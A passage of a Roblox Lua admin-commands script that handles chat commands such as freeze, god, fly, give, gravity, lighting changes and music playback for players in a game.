  4956. local plrz = GetPlr(plr, msg:lower():sub(9))
  4957. for i, v in pairs(plrz) do
  4958. coroutine.resume(coroutine.create(function()
  4959. if v and v.Character and v.Character:findFirstChild("Torso") then
  4960. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
  4961. end
  4962. end))
  4963. end
  4964. end
  4965.  
  4966. if msg:lower():sub(1,9) == "sparkles " then
  4967. local plrz = GetPlr(plr, msg:lower():sub(10))
  4968. for i, v in pairs(plrz) do
  4969. coroutine.resume(coroutine.create(function()
  4970. if v and v.Character and v.Character:findFirstChild("Torso") then
  4971. local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
  4972. end
  4973. end))
  4974. end
  4975. end
  4976.  
  4977. if msg:lower():sub(1,11) == "unsparkles " then
  4978. local plrz = GetPlr(plr, msg:lower():sub(12))
  4979. for i, v in pairs(plrz) do
  4980. coroutine.resume(coroutine.create(function()
  4981. if v and v.Character and v.Character:findFirstChild("Torso") then
  4982. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
  4983. end
  4984. end))
  4985. end
  4986. end
  4987.  
  4988. if msg:lower():sub(1,3) == "ff " then
  4989. local plrz = GetPlr(plr, msg:lower():sub(4))
  4990. for i, v in pairs(plrz) do
  4991. coroutine.resume(coroutine.create(function()
  4992. if v and v.Character then Instance.new("ForceField", v.Character) end
  4993. end))
  4994. end
  4995. end
  4996.  
  4997. if msg:lower():sub(1,5) == "unff " then
  4998. local plrz = GetPlr(plr, msg:lower():sub(6))
  4999. for i, v in pairs(plrz) do
  5000. coroutine.resume(coroutine.create(function()
  5001. if v and v.Character then
  5002. for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
  5003. end
  5004. end))
  5005. end
  5006. end
  5007.  
  5008. if msg:lower():sub(1,7) == "punish " then
  5009. local plrz = GetPlr(plr, msg:lower():sub(8))
  5010. for i, v in pairs(plrz) do
  5011. coroutine.resume(coroutine.create(function()
  5012. if v and v.Character then
  5013. v.Character.Parent = game:service("Lighting")
  5014. end
  5015. end))
  5016. end
  5017. end
  5018.  
  5019. if msg:lower():sub(1,9) == "unpunish " then
  5020. local plrz = GetPlr(plr, msg:lower():sub(10))
  5021. for i, v in pairs(plrz) do
  5022. coroutine.resume(coroutine.create(function()
  5023. if v and v.Character then
  5024. v.Character.Parent = game:service("Workspace")
  5025. v.Character:MakeJoints()
  5026. end
  5027. end))
  5028. end
  5029. end
  5030.  
  5031. if msg:lower():sub(1,7) == "freeze " then
  5032. local plrz = GetPlr(plr, msg:lower():sub(8))
  5033. for i, v in pairs(plrz) do
  5034. coroutine.resume(coroutine.create(function()
  5035. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  5036. for a, obj in pairs(v.Character:children()) do
  5037. if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
  5038. end
  5039. end
  5040. end))
  5041. end
  5042. end
  5043.  
  5044. if msg:lower():sub(1,5) == "thaw " then
  5045. local plrz = GetPlr(plr, msg:lower():sub(6))
  5046. for i, v in pairs(plrz) do
  5047. coroutine.resume(coroutine.create(function()
  5048. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  5049. for a, obj in pairs(v.Character:children()) do
  5050. if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
  5051. end
  5052. end
  5053. end))
  5054. end
  5055. end
  5056.  
  5057. if msg:lower():sub(1,5) == "heal " then
  5058. local plrz = GetPlr(plr, msg:lower():sub(6))
  5059. for i, v in pairs(plrz) do
  5060. coroutine.resume(coroutine.create(function()
  5061. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  5062. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  5063. end
  5064. end))
  5065. end
  5066. end
  5067.  
  5068. if msg:lower():sub(1,4) == "god " then
  5069. local plrz = GetPlr(plr, msg:lower():sub(5))
  5070. for i, v in pairs(plrz) do
  5071. coroutine.resume(coroutine.create(function()
  5072. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  5073. v.Character.Humanoid.MaxHealth = math.huge
  5074. v.Character.Humanoid.Health = 9e9
  5075. end
  5076. end))
  5077. end
  5078. end
  5079.  
  5080. if msg:lower():sub(1,6) == "ungod " then
  5081. local plrz = GetPlr(plr, msg:lower():sub(7))
  5082. for i, v in pairs(plrz) do
  5083. coroutine.resume(coroutine.create(function()
  5084. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  5085. v.Character.Humanoid.MaxHealth = 100
  5086. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  5087. end
  5088. end))
  5089. end
  5090. end
  5091.  
  5092. if msg:lower():sub(1,8) == "ambient " then
  5093. local chk1 = msg:lower():sub(9):find(" ") + 8
  5094. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  5095. game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  5096. end
  5097.  
  5098. if msg:lower():sub(1,11) == "brightness " then
  5099. game.Lighting.Brightness = msg:sub(12)
  5100. end
  5101.  
  5102. if msg:lower():sub(1,5) == "time " then
  5103. game.Lighting.TimeOfDay = msg:sub(6)
  5104. end
  5105.  
  5106. if msg:lower():sub(1,9) == "fogcolor " then
  5107. local chk1 = msg:lower():sub(10):find(" ") + 9
  5108. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  5109. game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  5110. end
  5111.  
  5112. if msg:lower():sub(1,7) == "fogend " then
  5113. game.Lighting.FogEnd = msg:sub(8)
  5114. end
  5115.  
  5116. if msg:lower():sub(1,9) == "fogstart " then
  5117. game.Lighting.FogStart = msg:sub(10)
  5118. end
  5119.  
  5120. if msg:lower():sub(1,7) == "btools " then
  5121. local plrz = GetPlr(plr, msg:lower():sub(8))
  5122. for i, v in pairs(plrz) do
  5123. coroutine.resume(coroutine.create(function()
  5124. if v and v:findFirstChild("Backpack") then
  5125. local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  5126. local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  5127. local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  5128. local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  5129. local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
  5130. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
  5131. local sb
  5132. local hs
  5133. local pdist
  5134.  
  5135. script.Parent.Selected:connect(function(mouse)
  5136. if not mouse then return end
  5137. sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
  5138. hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
  5139. mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
  5140. hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
  5141. hs.MouseButton1Down:connect(function() pdist = 0 end)
  5142. end)
  5143.  
  5144. script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
  5145. end
  5146. end))
  5147. end
  5148. end
  5149.  
  5150. if msg:lower():sub(1,12) == "startergive " then
  5151. local chk1 = msg:lower():sub(13):find(" ") + 12
  5152. local plrz = GetPlr(plr, msg:lower():sub(13,chk1-1))
  5153. for i, v in pairs(plrz) do
  5154. coroutine.resume(coroutine.create(function()
  5155. if v and v:findFirstChild("StarterGear") and game:findFirstChild("Lighting") then
  5156. for a, tool in pairs(game.Lighting:children()) do
  5157. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  5158. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.StarterGear end
  5159. end
  5160. end
  5161. end
  5162. end))
  5163. end
  5164. end
  5165.  
  5166. if msg:lower():sub(1,5) == "give " then
  5167. local chk1 = msg:lower():sub(6):find(" ") + 5
  5168. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  5169. for i, v in pairs(plrz) do
  5170. coroutine.resume(coroutine.create(function()
  5171. if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
  5172. for a, tool in pairs(game.Lighting:children()) do
  5173. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  5174. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
  5175. end
  5176. end
  5177. end
  5178. end))
  5179. end
  5180. end
  5181.  
  5182. if msg:lower():sub(1,12) == "removetools " then
  5183. local plrz = GetPlr(plr, msg:lower():sub(13))
  5184. for i, v in pairs(plrz) do
  5185. coroutine.resume(coroutine.create(function()
  5186. if v and v.Character and v:findFirstChild("Backpack") then
  5187. for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  5188. for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  5189. end
  5190. end))
  5191. end
  5192. end
  5193.  
  5194. if msg:lower():sub(1,5) == "rank " then
  5195. local chk1 = msg:lower():sub(6):find(" ") + 5
  5196. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  5197. for i, v in pairs(plrz) do
  5198. coroutine.resume(coroutine.create(function()
  5199. if v and v:IsInGroup(msg:sub(chk1+1)) then
  5200. Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
  5201. elseif v and not v:IsInGroup(msg:sub(chk1+1))then
  5202. Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
  5203. end
  5204. end))
  5205. end
  5206. end
  5207.  
  5208. if msg:lower():sub(1,7) == "damage " then
  5209. local chk1 = msg:lower():sub(8):find(" ") + 7
  5210. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  5211. for i, v in pairs(plrz) do
  5212. coroutine.resume(coroutine.create(function()
  5213. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  5214. v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
  5215. end
  5216. end))
  5217. end
  5218. end
  5219.  
  5220. if msg:lower():sub(1,5) == "grav " then
  5221. local plrz = GetPlr(plr, msg:lower():sub(6))
  5222. for i, v in pairs(plrz) do
  5223. coroutine.resume(coroutine.create(function()
  5224. if v and v.Character and v.Character:findFirstChild("Torso") then
  5225. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  5226. end
  5227. end))
  5228. end
  5229. end
  5230.  
  5231. if msg:lower():sub(1,8) == "setgrav " then
  5232. local chk1 = msg:lower():sub(9):find(" ") + 8
  5233. local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
  5234. for i, v in pairs(plrz) do
  5235. coroutine.resume(coroutine.create(function()
  5236. if v and v.Character and v.Character:findFirstChild("Torso") then
  5237. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  5238. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  5239. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
  5240. end
  5241. end))
  5242. end
  5243. end
  5244.  
  5245. if msg:lower():sub(1,7) == "nograv " then
  5246. local plrz = GetPlr(plr, msg:lower():sub(8))
  5247. for i, v in pairs(plrz) do
  5248. coroutine.resume(coroutine.create(function()
  5249. if v and v.Character and v.Character:findFirstChild("Torso") then
  5250. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  5251. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  5252. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
  5253. end
  5254. end))
  5255. end
  5256. end
  5257.  
  5258. if msg:lower():sub(1,7) == "health " then
  5259. local chk1 = msg:lower():sub(8):find(" ") + 7
  5260. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  5261. for i, v in pairs(plrz) do
  5262. coroutine.resume(coroutine.create(function()
  5263. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  5264. v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
  5265. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  5266. end
  5267. end))
  5268. end
  5269. end
  5270.  
  5271. if msg:lower():sub(1,6) == "speed " then
  5272. local chk1 = msg:lower():sub(7):find(" ") + 6
  5273. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  5274. for i, v in pairs(plrz) do
  5275. coroutine.resume(coroutine.create(function()
  5276. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  5277. v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
  5278. end
  5279. end))
  5280. end
  5281. end
  5282.  
  5283. if msg:lower():sub(1,5) == "team " then
  5284. local chk1 = msg:lower():sub(6):find(" ") + 5
  5285. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  5286. for i, v in pairs(plrz) do
  5287. coroutine.resume(coroutine.create(function()
  5288. if v and game:findFirstChild("Teams") then
  5289. for a, tm in pairs(game.Teams:children()) do
  5290. if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
  5291. end
  5292. end
  5293. end))
  5294. end
  5295. end
  5296.  
  5297. if msg:lower():sub(1,6) == "place " then
  5298. local chk1 = msg:lower():sub(7):find(" ") + 6
  5299. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  5300. for i, v in pairs(plrz) do
  5301. coroutine.resume(coroutine.create(function()
  5302. if v and v:findFirstChild("PlayerGui") then
  5303. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
  5304. end
  5305. end))
  5306. end
  5307. end
  5308.  
  5309. if msg:lower():sub(1,3) == "tp " then
  5310. local chk1 = msg:lower():sub(4):find(" ") + 3
  5311. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  5312. local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
  5313. for i, v in pairs(plrz) do
  5314. coroutine.resume(coroutine.create(function()
  5315. for i2, v2 in pairs(plrz2) do
  5316. if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
  5317. v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  5318. end
  5319. end
  5320. end))
  5321. end
  5322. end
  5323.  
  5324. if msg:lower():sub(1,7) == "change " then
  5325. local chk1 = msg:lower():sub(8):find(" ") + 7
  5326. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  5327. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  5328. for i, v in pairs(plrz) do
  5329. coroutine.resume(coroutine.create(function()
  5330. if v and v:findFirstChild("leaderstats") then
  5331. for a, st in pairs(v.leaderstats:children()) do
  5332. if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
  5333. end
  5334. end
  5335. end))
  5336. end
  5337. end
  5338.  
  5339. if msg:lower():sub(1,6) == "shirt " then
  5340. local chk1 = msg:lower():sub(7):find(" ") + 6
  5341. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  5342. for i, v in pairs(plrz) do
  5343. coroutine.resume(coroutine.create(function()
  5344. if v and v.Character then
  5345. for i,v in pairs(v.Character:children()) do
  5346. if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  5347. end
  5348. end
  5349. end))
  5350. end
  5351. end
  5352.  
  5353. if msg:lower():sub(1,6) == "pants " then
  5354. local chk1 = msg:lower():sub(7):find(" ") + 6
  5355. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  5356. for i, v in pairs(plrz) do
  5357. coroutine.resume(coroutine.create(function()
  5358. if v and v.Character then
  5359. for i,v in pairs(v.Character:children()) do
  5360. if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  5361. end
  5362. end
  5363. end))
  5364. end
  5365. end
  5366.  
  5367. if msg:lower():sub(1,5) == "face " then
  5368. local chk1 = msg:lower():sub(6):find(" ") + 5
  5369. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  5370. for i, v in pairs(plrz) do
  5371. coroutine.resume(coroutine.create(function()
  5372. if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
  5373. v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
  5374. end
  5375. end))
  5376. end
  5377. end
  5378.  
  5379. ---------------------
  5380. -- FunCommands --
  5381. ---------------------
  5382. if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  5383.  
  5384. if msg:lower():sub(1,8) == "swagify " then
  5385. local plrz = GetPlr(plr, msg:lower():sub(9))
  5386. for i, v in pairs(plrz) do
  5387. coroutine.resume(coroutine.create(function()
  5388. if v and v.Character then
  5389. for i,v in pairs(v.Character:children()) do
  5390. if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  5391. if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  5392. end
  5393. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  5394. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  5395. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  5396. local torso = plr.Character.Torso
  5397. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  5398. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
  5399. p.Size = Vector3.new(.2,.2,.2)
  5400. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  5401. local motor1 = Instance.new("Motor", p)
  5402. motor1.Part0 = p
  5403. motor1.Part1 = torso
  5404. motor1.MaxVelocity = .01
  5405. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  5406. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  5407. local wave = false
  5408. repeat wait(1/44)
  5409. local ang = 0.1
  5410. local oldmag = torso.Velocity.magnitude
  5411. local mv = .002
  5412. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  5413. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  5414. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  5415. motor1.DesiredAngle = -ang
  5416. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  5417. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  5418. if torso.Velocity.magnitude < .1 then wait(.1) end
  5419. until not p or p.Parent ~= torso.Parent
  5420. script:Destroy()
  5421. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  5422. end
  5423. end))
  5424. end
  5425. end
  5426.  
  5427. if msg:lower():sub(1,6) == "music " then
  5428. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  5429. local id = msg:sub(7)
  5430. local pitch = 1
  5431. if tostring(id):lower():find("caramell") then id = 2303479 end
  5432. if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
  5433. if tostring(id):find("rick") then id = 2027611 end
  5434. if tostring(id):find("halo") then id = 1034065 end
  5435. if tostring(id):find("pokemon") then id = 1372261 end
  5436. if tostring(id):find("cursed") then id = 1372257 end
  5437. if tostring(id):find("extreme") then id = 11420933 end
  5438. if tostring(id):find("awaken") then id = 27697277 end
  5439. if tostring(id):find("alone") then id = 27697392 end
  5440. if tostring(id):find("mario") then id = 1280470 end
  5441. if tostring(id):find("choir") then id = 1372258 end
  5442. if tostring(id):find("chrono") then id = 1280463 end
  5443. if tostring(id):find("dotr") then id = 11420922 end
  5444. if tostring(id):find("entertain") then id = 27697267 end
  5445. if tostring(id):find("fantasy") then id = 1280473 end
  5446. if tostring(id):find("final") then id = 1280414 end
  5447. if tostring(id):find("emblem") then id = 1372259 end
  5448. if tostring(id):find("flight") then id = 27697719 end
  5449. if tostring(id):find("banjo") then id = 27697298 end
  5450. if tostring(id):find("gothic") then id = 27697743 end
  5451. if tostring(id):find("hiphop") then id = 27697735 end
  5452. if tostring(id):find("intro") then id = 27697707 end
  5453. if tostring(id):find("mule") then id = 1077604 end
  5454. if tostring(id):find("film") then id = 27697713 end
  5455. if tostring(id):find("nezz") then id = 8610025 end
  5456. if tostring(id):find("angel") then id = 1372260 end
  5457. if tostring(id):find("resist") then id = 27697234 end
  5458. if tostring(id):find("schala") then id = 5985787 end
  5459. if tostring(id):find("organ") then id = 11231513 end
  5460. if tostring(id):find("tunnel") then id = 9650822 end
  5461. if tostring(id):find("spanish") then id = 5982975 end
  5462. if tostring(id):find("venom") then id = 1372262 end
  5463. if tostring(id):find("wind") then id = 1015394 end
  5464. if tostring(id):find("guitar") then id = 5986151 end
  5465. local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
  5466. end
  5467.  
  5468. if msg:lower() == "stopmusic" then
  5469. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  5470. end
  5471.  
  5472. if msg:lower() == "musiclist" then
  5473. if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
  5474. local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
  5475. local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
  5476. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  5477. end
  5478.  
  5479. if msg:lower():sub(1,4) == "fly " then
  5480. local plrz = GetPlr(plr, msg:lower():sub(5))
  5481. for i, v in pairs(plrz) do
  5482. coroutine.resume(coroutine.create(function()
  5483. if v and v:findFirstChild("PlayerGui") then
  5484. local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  5485. local mouse = game.Players.LocalPlayer:GetMouse()
  5486. repeat wait() until mouse
  5487. local plr = game.Players.LocalPlayer
  5488. local torso = plr.Character.Torso
  5489. local flying = true
  5490. local deb = true
  5491. local ctrl = {f = 0, b = 0, l = 0, r = 0}
  5492. local lastctrl = {f = 0, b = 0, l = 0, r = 0}
  5493. local maxspeed = 50
  5494. local speed = 0
  5495. function Fly()
  5496. local bg = Instance.new("BodyGyro", torso)
  5497. bg.P = 9e4
  5498. bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
  5499. bg.cframe = torso.CFrame
  5500. local bv = Instance.new("BodyVelocity", torso)
  5501. bv.velocity = Vector3.new(0,0.1,0)
  5502. bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
  5503. repeat wait()
  5504. plr.Character.Humanoid.PlatformStand = true
  5505. if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
  5506. speed = speed+.5+(speed/maxspeed)
  5507. if speed > maxspeed then
  5508. speed = maxspeed
  5509. end
  5510. elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
  5511. speed = speed-1
  5512. if speed < 0 then
  5513. speed = 0
  5514. end
  5515. end
  5516. if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
  5517. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  5518. lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
  5519. elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
  5520. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  5521. else
  5522. bv.velocity = Vector3.new(0,0.1,0)
  5523. end
  5524. bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
  5525. until not flying
  5526. ctrl = {f = 0, b = 0, l = 0, r = 0}
  5527. lastctrl = {f = 0, b = 0, l = 0, r = 0}
  5528. speed = 0
  5529. bg:Destroy()
  5530. bv:Destroy()
  5531. plr.Character.Humanoid.PlatformStand = false
  5532. end
  5533. mouse.KeyDown:connect(function(key)
  5534. if key:lower() == "e" then
  5535. if flying then flying = false
  5536. else
  5537. flying = true
  5538. Fly()
  5539. end
  5540. elseif key:lower() == "w" then
  5541. ctrl.f = 1
  5542. elseif key:lower() == "s" then
  5543. ctrl.b = -1
  5544. elseif key:lower() == "a" then
  5545. ctrl.l = -1
  5546. elseif key:lower() == "d" then
  5547. ctrl.r = 1
  5548. end
  5549. end)
  5550. mouse.KeyUp:connect(function(key)
  5551. if key:lower() == "w" then
  5552. ctrl.f = 0
  5553. elseif key:lower() == "s" then
  5554. ctrl.b = 0
  5555. elseif key:lower() == "a" then
  5556. ctrl.l = 0
  5557. elseif key:lower() == "d" then
  5558. ctrl.r = 0
  5559. end
  5560. end)
  5561. Fly()]]
  5562. cl.Parent = v.PlayerGui cl.Disabled = false
  5563. end
  5564. end))
  5565. end
  5566. end
  5567.  
  5568. if msg:lower():sub(1,6) == "unfly " then
  5569. local plrz = GetPlr(plr, msg:lower():sub(7))
  5570. for i, v in pairs(plrz) do
  5571. coroutine.resume(coroutine.create(function()
  5572. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  5573. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
  5574. for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
  5575. wait(.1) v.Character.Humanoid.PlatformStand = false
  5576. end
  5577. end))
  5578. end
  5579. end
  5580.  
  5581. if msg:lower() == "disco" then
  5582. for i, v in pairs(lobjs) do v:Destroy() end
  5583. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
  5584. game.Lighting.Ambient = color
  5585. game.Lighting.FogColor = color
  5586. until nil]]
  5587. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  5588. end
  5589.  
  5590. if msg:lower() == "flash" then
  5591. for i, v in pairs(lobjs) do v:Destroy() end
  5592. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
  5593. game.Lighting.Ambient = Color3.new(1,1,1)
  5594. game.Lighting.FogColor = Color3.new(1,1,1)
  5595. game.Lighting.Brightness = 1
  5596. game.Lighting.TimeOfDay = 14
